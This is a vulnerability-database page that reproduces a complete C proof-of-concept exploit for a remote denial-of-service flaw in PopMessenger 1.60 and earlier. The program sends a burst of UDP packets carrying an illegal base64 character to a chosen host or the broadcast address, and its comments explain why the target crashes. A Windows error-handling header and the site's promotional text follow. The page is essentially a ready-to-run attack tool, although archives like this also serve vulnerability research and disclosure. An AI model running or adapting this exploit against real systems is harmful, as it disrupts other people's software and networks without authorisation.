Lucene search
K

PopMessenger <= 1.60 Remote Denial of Service Exploit

🗓️ 07 Jul 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

PopMessenger <= 1.60 Remote Denial of Service Exploit by Luigi Auriemma

Code

                                                /////////////////////////&nbsp;popmsgboom.c
/*

by&nbsp;Luigi&nbsp;Auriemma

*/

#include&nbsp;&lt;stdio.h&gt;
#include&nbsp;&lt;stdlib.h&gt;
#include&nbsp;&lt;string.h&gt;
#include&nbsp;&lt;time.h&gt;

#ifdef&nbsp;WIN32
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;winsock.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&quot;winerr.h&quot;

&nbsp;&nbsp;&nbsp;&nbsp;#define&nbsp;close&nbsp;&nbsp;&nbsp;closesocket
#else
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;unistd.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;sys/socket.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;sys/types.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;arpa/inet.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;netinet/in.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;netdb.h&gt;
#endif



#define&nbsp;VER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;0.1&quot;
#define&nbsp;PORT&nbsp;&nbsp;&nbsp;&nbsp;8473
#define&nbsp;BCAST&nbsp;&nbsp;&nbsp;&quot;255.255.255.255&quot;
#define&nbsp;MAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;we&nbsp;need&nbsp;less&nbsp;then&nbsp;20&nbsp;packets



u_long&nbsp;resolv(char&nbsp;*host);
void&nbsp;std_err(void);



int&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;&nbsp;sockaddr_in&nbsp;peer;
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sd,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;on&nbsp;=&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;u_long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;randnum;
&nbsp;&nbsp;&nbsp;&nbsp;u_short&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;port&nbsp;=&nbsp;PORT;
&nbsp;&nbsp;&nbsp;&nbsp;u_char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pck[]&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Z........\0&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;C@main\1&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;@chnlMAIN\1&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;@chnlMAIN\1&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\1\1\1\1\1&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;crasher\1&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;cmdAddString\1&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%\1&quot;;&nbsp;&nbsp;//&nbsp;the&nbsp;crash&nbsp;happens&nbsp;when&nbsp;the&nbsp;program&nbsp;receives
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;multiple&nbsp;packets&nbsp;containing&nbsp;an&nbsp;incorrect&nbsp;base64
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;char&nbsp;in&nbsp;the&nbsp;message&nbsp;field&nbsp;(in&nbsp;fact&nbsp;%&nbsp;is&nbsp;illegal)


&nbsp;&nbsp;&nbsp;&nbsp;setbuf(stdout,&nbsp;NULL);

&nbsp;&nbsp;&nbsp;&nbsp;fputs(&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;PopMessenger&nbsp;&lt;=&nbsp;1.60&nbsp;(20&nbsp;Sep&nbsp;2004)&nbsp;remote&nbsp;crash&nbsp;&quot;VER&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;by&nbsp;Luigi&nbsp;Auriemma\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;e-mail:&nbsp;[email protected]\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;web:&nbsp;&nbsp;&nbsp;&nbsp;http://aluigi.altervista.org\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n&quot;,&nbsp;stdout);

&nbsp;&nbsp;&nbsp;&nbsp;if(argc&nbsp;&lt;&nbsp;2)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Usage:&nbsp;%s&nbsp;&lt;host&gt;&nbsp;[port(%d)]\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Note:&nbsp;you&nbsp;can&nbsp;also&nbsp;launch&nbsp;this&nbsp;tool&nbsp;versus&nbsp;broadcast&nbsp;IP&nbsp;(like&nbsp;&quot;BCAST&quot;)\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\n&quot;,&nbsp;argv[0],&nbsp;PORT);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;}

#ifdef&nbsp;WIN32
&nbsp;&nbsp;&nbsp;&nbsp;WSADATA&nbsp;&nbsp;&nbsp;&nbsp;wsadata;
&nbsp;&nbsp;&nbsp;&nbsp;WSAStartup(MAKEWORD(1,0),&nbsp;&amp;wsadata);
#endif

&nbsp;&nbsp;&nbsp;&nbsp;if(argc&nbsp;&gt;&nbsp;2)&nbsp;port&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;atoi(argv[2]);
&nbsp;&nbsp;&nbsp;&nbsp;if(!memcmp(argv[1],&nbsp;BCAST,&nbsp;sizeof(BCAST)&nbsp;-&nbsp;1))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;peer.sin_addr.s_addr&nbsp;=&nbsp;0xffffffffL;
&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;peer.sin_addr.s_addr&nbsp;=&nbsp;resolv(argv[1]);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;peer.sin_port&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;htons(port);
&nbsp;&nbsp;&nbsp;&nbsp;peer.sin_family&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;AF_INET;

&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;-&nbsp;target&nbsp;%s:%hu\n&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inet_ntoa(peer.sin_addr),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;port);

&nbsp;&nbsp;&nbsp;&nbsp;sd&nbsp;=&nbsp;socket(AF_INET,&nbsp;SOCK_DGRAM,&nbsp;IPPROTO_UDP);
&nbsp;&nbsp;&nbsp;&nbsp;if(sd&nbsp;&lt;&nbsp;0)&nbsp;std_err();

&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;broadcast&nbsp;*/
&nbsp;&nbsp;&nbsp;&nbsp;if(setsockopt(sd,&nbsp;SOL_SOCKET,&nbsp;SO_BROADCAST,&nbsp;(char&nbsp;*)&amp;on,&nbsp;sizeof(on))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;0)&nbsp;std_err();

&nbsp;&nbsp;&nbsp;&nbsp;randnum&nbsp;=&nbsp;time(NULL);

&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;-&nbsp;send&nbsp;%d&nbsp;messages&nbsp;with&nbsp;an&nbsp;illegal&nbsp;base64&nbsp;char&nbsp;to&nbsp;cause&nbsp;the&nbsp;crash\n&quot;,&nbsp;MAX);
&nbsp;&nbsp;&nbsp;&nbsp;for(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;MAX;&nbsp;i++)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(pck&nbsp;+&nbsp;1,&nbsp;&quot;%08lx&quot;,&nbsp;randnum&nbsp;*&nbsp;i);&nbsp;&nbsp;//&nbsp;must&nbsp;be&nbsp;ever&nbsp;different
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(sendto(sd,&nbsp;pck,&nbsp;sizeof(pck)&nbsp;-&nbsp;1,&nbsp;0,&nbsp;(struct&nbsp;sockaddr&nbsp;*)&amp;peer,&nbsp;sizeof(peer))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;0)&nbsp;std_err();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fputc('.',&nbsp;stdout);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep(0);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;close(sd);
&nbsp;&nbsp;&nbsp;&nbsp;fputs(&quot;\n-&nbsp;data&nbsp;sent,&nbsp;the&nbsp;application&nbsp;should&nbsp;be&nbsp;crashed\n\n&quot;,&nbsp;stdout);
&nbsp;&nbsp;&nbsp;&nbsp;return(0);
}



u_long&nbsp;resolv(char&nbsp;*host)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;hostent&nbsp;*hp;
&nbsp;&nbsp;&nbsp;&nbsp;u_long&nbsp;host_ip;

&nbsp;&nbsp;&nbsp;&nbsp;host_ip&nbsp;=&nbsp;inet_addr(host);
&nbsp;&nbsp;&nbsp;&nbsp;if(host_ip&nbsp;==&nbsp;INADDR_NONE)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hp&nbsp;=&nbsp;gethostbyname(host);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!hp)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\nError:&nbsp;Unable&nbsp;to&nbsp;resolv&nbsp;hostname&nbsp;(%s)\n&quot;,&nbsp;host);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;host_ip&nbsp;=&nbsp;*(u_long&nbsp;*)hp-&gt;h_addr;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return(host_ip);
}



#ifndef&nbsp;WIN32
&nbsp;&nbsp;&nbsp;&nbsp;void&nbsp;std_err(void)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;perror(&quot;\nError&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;}
#endif


///////////&nbsp;winerr.h

/*
&nbsp;&nbsp;&nbsp;Header&nbsp;file&nbsp;used&nbsp;for&nbsp;manage&nbsp;errors&nbsp;in&nbsp;Windows
&nbsp;&nbsp;&nbsp;It&nbsp;support&nbsp;socket&nbsp;and&nbsp;errno&nbsp;too
&nbsp;&nbsp;&nbsp;(this&nbsp;header&nbsp;replace&nbsp;the&nbsp;previous&nbsp;sock_errX.h)
*/

#include&nbsp;&lt;string.h&gt;
#include&nbsp;&lt;errno.h&gt;



void&nbsp;std_err(void)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;*error;

&nbsp;&nbsp;&nbsp;&nbsp;switch(WSAGetLastError())&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10004:&nbsp;error&nbsp;=&nbsp;&quot;Interrupted&nbsp;system&nbsp;call&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10009:&nbsp;error&nbsp;=&nbsp;&quot;Bad&nbsp;file&nbsp;number&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10013:&nbsp;error&nbsp;=&nbsp;&quot;Permission&nbsp;denied&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10014:&nbsp;error&nbsp;=&nbsp;&quot;Bad&nbsp;address&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10022:&nbsp;error&nbsp;=&nbsp;&quot;Invalid&nbsp;argument&nbsp;(not&nbsp;bind)&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10024:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;open&nbsp;files&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10035:&nbsp;error&nbsp;=&nbsp;&quot;Operation&nbsp;would&nbsp;block&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10036:&nbsp;error&nbsp;=&nbsp;&quot;Operation&nbsp;now&nbsp;in&nbsp;progress&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10037:&nbsp;error&nbsp;=&nbsp;&quot;Operation&nbsp;already&nbsp;in&nbsp;progress&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10038:&nbsp;error&nbsp;=&nbsp;&quot;Socket&nbsp;operation&nbsp;on&nbsp;non-socket&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10039:&nbsp;error&nbsp;=&nbsp;&quot;Destination&nbsp;address&nbsp;required&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10040:&nbsp;error&nbsp;=&nbsp;&quot;Message&nbsp;too&nbsp;long&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10041:&nbsp;error&nbsp;=&nbsp;&quot;Protocol&nbsp;wrong&nbsp;type&nbsp;for&nbsp;socket&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10042:&nbsp;error&nbsp;=&nbsp;&quot;Bad&nbsp;protocol&nbsp;option&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10043:&nbsp;error&nbsp;=&nbsp;&quot;Protocol&nbsp;not&nbsp;supported&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10044:&nbsp;error&nbsp;=&nbsp;&quot;Socket&nbsp;type&nbsp;not&nbsp;supported&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10045:&nbsp;error&nbsp;=&nbsp;&quot;Operation&nbsp;not&nbsp;supported&nbsp;on&nbsp;socket&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10046:&nbsp;error&nbsp;=&nbsp;&quot;Protocol&nbsp;family&nbsp;not&nbsp;supported&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10047:&nbsp;error&nbsp;=&nbsp;&quot;Address&nbsp;family&nbsp;not&nbsp;supported&nbsp;by&nbsp;protocol&nbsp;family&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10048:&nbsp;error&nbsp;=&nbsp;&quot;Address&nbsp;already&nbsp;in&nbsp;use&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10049:&nbsp;error&nbsp;=&nbsp;&quot;Can't&nbsp;assign&nbsp;requested&nbsp;address&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10050:&nbsp;error&nbsp;=&nbsp;&quot;Network&nbsp;is&nbsp;down&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10051:&nbsp;error&nbsp;=&nbsp;&quot;Network&nbsp;is&nbsp;unreachable&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10052:&nbsp;error&nbsp;=&nbsp;&quot;Net&nbsp;dropped&nbsp;connection&nbsp;or&nbsp;reset&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10053:&nbsp;error&nbsp;=&nbsp;&quot;Software&nbsp;caused&nbsp;connection&nbsp;abort&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10054:&nbsp;error&nbsp;=&nbsp;&quot;Connection&nbsp;reset&nbsp;by&nbsp;peer&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10055:&nbsp;error&nbsp;=&nbsp;&quot;No&nbsp;buffer&nbsp;space&nbsp;available&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10056:&nbsp;error&nbsp;=&nbsp;&quot;Socket&nbsp;is&nbsp;already&nbsp;connected&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10057:&nbsp;error&nbsp;=&nbsp;&quot;Socket&nbsp;is&nbsp;not&nbsp;connected&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10058:&nbsp;error&nbsp;=&nbsp;&quot;Can't&nbsp;send&nbsp;after&nbsp;socket&nbsp;shutdown&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10059:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;references,&nbsp;can't&nbsp;splice&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10060:&nbsp;error&nbsp;=&nbsp;&quot;Connection&nbsp;timed&nbsp;out&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10061:&nbsp;error&nbsp;=&nbsp;&quot;Connection&nbsp;refused&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10062:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;levels&nbsp;of&nbsp;symbolic&nbsp;links&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10063:&nbsp;error&nbsp;=&nbsp;&quot;File&nbsp;name&nbsp;too&nbsp;long&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10064:&nbsp;error&nbsp;=&nbsp;&quot;Host&nbsp;is&nbsp;down&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10065:&nbsp;error&nbsp;=&nbsp;&quot;No&nbsp;Route&nbsp;to&nbsp;Host&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10066:&nbsp;error&nbsp;=&nbsp;&quot;Directory&nbsp;not&nbsp;empty&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10067:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;processes&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10068:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;users&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10069:&nbsp;error&nbsp;=&nbsp;&quot;Disc&nbsp;Quota&nbsp;Exceeded&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10070:&nbsp;error&nbsp;=&nbsp;&quot;Stale&nbsp;NFS&nbsp;file&nbsp;handle&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10091:&nbsp;error&nbsp;=&nbsp;&quot;Network&nbsp;SubSystem&nbsp;is&nbsp;unavailable&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10092:&nbsp;error&nbsp;=&nbsp;&quot;WINSOCK&nbsp;DLL&nbsp;Version&nbsp;out&nbsp;of&nbsp;range&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10093:&nbsp;error&nbsp;=&nbsp;&quot;Successful&nbsp;WSASTARTUP&nbsp;not&nbsp;yet&nbsp;performed&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10071:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;levels&nbsp;of&nbsp;remote&nbsp;in&nbsp;path&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;11001:&nbsp;error&nbsp;=&nbsp;&quot;Host&nbsp;not&nbsp;found&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;11002:&nbsp;error&nbsp;=&nbsp;&quot;Non-Authoritative&nbsp;Host&nbsp;not&nbsp;found&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;11003:&nbsp;error&nbsp;=&nbsp;&quot;Non-Recoverable&nbsp;errors:&nbsp;FORMERR,&nbsp;REFUSED,&nbsp;NOTIMP&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;11004:&nbsp;error&nbsp;=&nbsp;&quot;Valid&nbsp;name,&nbsp;no&nbsp;data&nbsp;record&nbsp;of&nbsp;requested&nbsp;type&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:&nbsp;error&nbsp;=&nbsp;strerror(errno);&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;&quot;\nError:&nbsp;%s\n&quot;,&nbsp;error);
&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jul 2008 00:00Current
7.1High risk
Vulners AI Score7.1
16